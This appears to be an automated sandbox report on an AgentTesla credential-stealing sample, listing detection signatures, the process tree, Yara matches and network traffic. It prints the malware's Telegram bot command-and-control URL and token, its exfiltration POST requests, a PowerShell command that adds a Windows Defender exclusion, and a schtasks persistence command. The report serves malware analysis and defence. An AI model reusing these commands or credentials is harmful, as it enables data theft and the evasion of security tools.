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Windows Analysis Report
S.O.A18052022.exe

Overview

General Information

Sample Name:S.O.A18052022.exe
Analysis ID:626526
MD5:f2023f2bc7bb270d24f99c9d35d3ad18
SHA1:c5ac81e00b800d2a0a7f62c027602ac558b66a4e
SHA256:ce8a8dcf86d3395b6b9f349e4d2677ae515f1b067febb8f77b070043898ebe8a
Tags:exePayment
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Telegram RAT
Yara detected AgentTesla
Yara detected AntiVM3
Multi AV Scanner detection for dropped file
Installs a global keyboard hook
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
.NET source code references suspicious native API functions
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses the Telegram API (likely for C&C communication)
Machine Learning detection for sample
Yara detected Generic Downloader
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains very large array initializations
Machine Learning detection for dropped file
Adds a directory exclusion to Windows Defender
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Drops PE files
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

  • System is w10x64
  • S.O.A18052022.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\S.O.A18052022.exe" MD5: F2023F2BC7BB270D24F99C9D35D3AD18)
    • powershell.exe (PID: 3660 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\DIPrtjjfjUpyJ.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 5172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • schtasks.exe (PID: 2356 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DIPrtjjfjUpyJ" /XML "C:\Users\user\AppData\Local\Temp\tmp7211.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)
      • conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • S.O.A18052022.exe (PID: 6320 cmdline: C:\Users\user\Desktop\S.O.A18052022.exe MD5: F2023F2BC7BB270D24F99C9D35D3AD18)
  • cleanup
{"C2 url": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendMessage"}
{"Exfil Mode": "Telegram", "Chat id": "2062013058", "Chat URL": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument"}
SourceRuleDescriptionAuthorStrings
00000008.00000000.280288652.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    00000008.00000000.280288652.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
      00000008.00000002.503223251.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        00000008.00000002.503223251.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
          00000000.00000002.286263244.00000000040BF000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
            Click to see the 19 entries
            SourceRuleDescriptionAuthorStrings
            0.2.S.O.A18052022.exe.40fb108.6.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
              0.2.S.O.A18052022.exe.40fb108.6.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
                0.2.S.O.A18052022.exe.40fb108.6.unpackMALWARE_Win_AgentTeslaV3AgentTeslaV3 infostealer payloadditekSHen
                • 0x30e37:$s10: logins
                • 0x3089e:$s11: credential
                • 0x2cdd3:$g1: get_Clipboard
                • 0x2cde1:$g2: get_Keyboard
                • 0x2cdee:$g3: get_Password
                • 0x2e0e6:$g4: get_CtrlKeyDown
                • 0x2e0f6:$g5: get_ShiftKeyDown
                • 0x2e107:$g6: get_AltKeyDown
                8.0.S.O.A18052022.exe.400000.10.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                  8.0.S.O.A18052022.exe.400000.10.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
                    Click to see the 42 entries
                    No Sigma rule has matched
                    No Snort rule has matched

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Source: 0.2.S.O.A18052022.exe.40fb108.6.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "2062013058", "Chat URL": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument"}
                    Source: S.O.A18052022.exe.6320.8.memstrminMalware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendMessage"}
                    Source: S.O.A18052022.exeVirustotal: Detection: 50%Perma Link
                    Source: C:\Users\user\AppData\Roaming\DIPrtjjfjUpyJ.exeVirustotal: Detection: 50%Perma Link
                    Source: S.O.A18052022.exeJoe Sandbox ML: detected
                    Source: C:\Users\user\AppData\Roaming\DIPrtjjfjUpyJ.exeJoe Sandbox ML: detected
                    Source: 8.0.S.O.A18052022.exe.400000.12.unpackAvira: Label: TR/Spy.Gen8
                    Source: 8.0.S.O.A18052022.exe.400000.10.unpackAvira: Label: TR/Spy.Gen8
                    Source: 8.0.S.O.A18052022.exe.400000.4.unpackAvira: Label: TR/Spy.Gen8
                    Source: 8.2.S.O.A18052022.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                    Source: 8.0.S.O.A18052022.exe.400000.8.unpackAvira: Label: TR/Spy.Gen8
                    Source: 8.0.S.O.A18052022.exe.400000.6.unpackAvira: Label: TR/Spy.Gen8
                    Source: S.O.A18052022.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49739 version: TLS 1.2
                    Source: S.O.A18052022.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                    Source: Binary string: EnumeratorDropIndi.pdb8n source: S.O.A18052022.exe, DIPrtjjfjUpyJ.exe.0.dr
                    Source: Binary string: EnumeratorDropIndi.pdb source: S.O.A18052022.exe, DIPrtjjfjUpyJ.exe.0.dr

                    Networking

                    barindex
                    Source: unknownDNS query: name: api.telegram.org
                    Source: unknownDNS query: name: api.telegram.org
                    Source: Yara matchFile source: 8.0.S.O.A18052022.exe.400000.10.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.S.O.A18052022.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.0.S.O.A18052022.exe.400000.12.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.0.S.O.A18052022.exe.400000.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.S.O.A18052022.exe.40fb108.6.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.S.O.A18052022.exe.42e8fe0.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.S.O.A18052022.exe.40bf4e8.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.0.S.O.A18052022.exe.400000.6.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.0.S.O.A18052022.exe.400000.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.S.O.A18052022.exe.42601c0.9.raw.unpack, type: UNPACKEDPE
                    Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                    Source: global trafficHTTP traffic detected: POST /bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da3588fbc4d762Host: api.telegram.orgContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: POST /bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da3589f2dd8009Host: api.telegram.orgContent-Length: 1895Expect: 100-continue
                    Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
                    Source: S.O.A18052022.exe, 00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                    Source: S.O.A18052022.exe, 00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
                    Source: S.O.A18052022.exe, 00000008.00000002.506594458.0000000002F7E000.00000004.00000800.00020000.00000000.sdmp, S.O.A18052022.exe, 00000008.00000002.506710013.0000000002FB8000.00000004.00000800.00020000.00000000.sdmp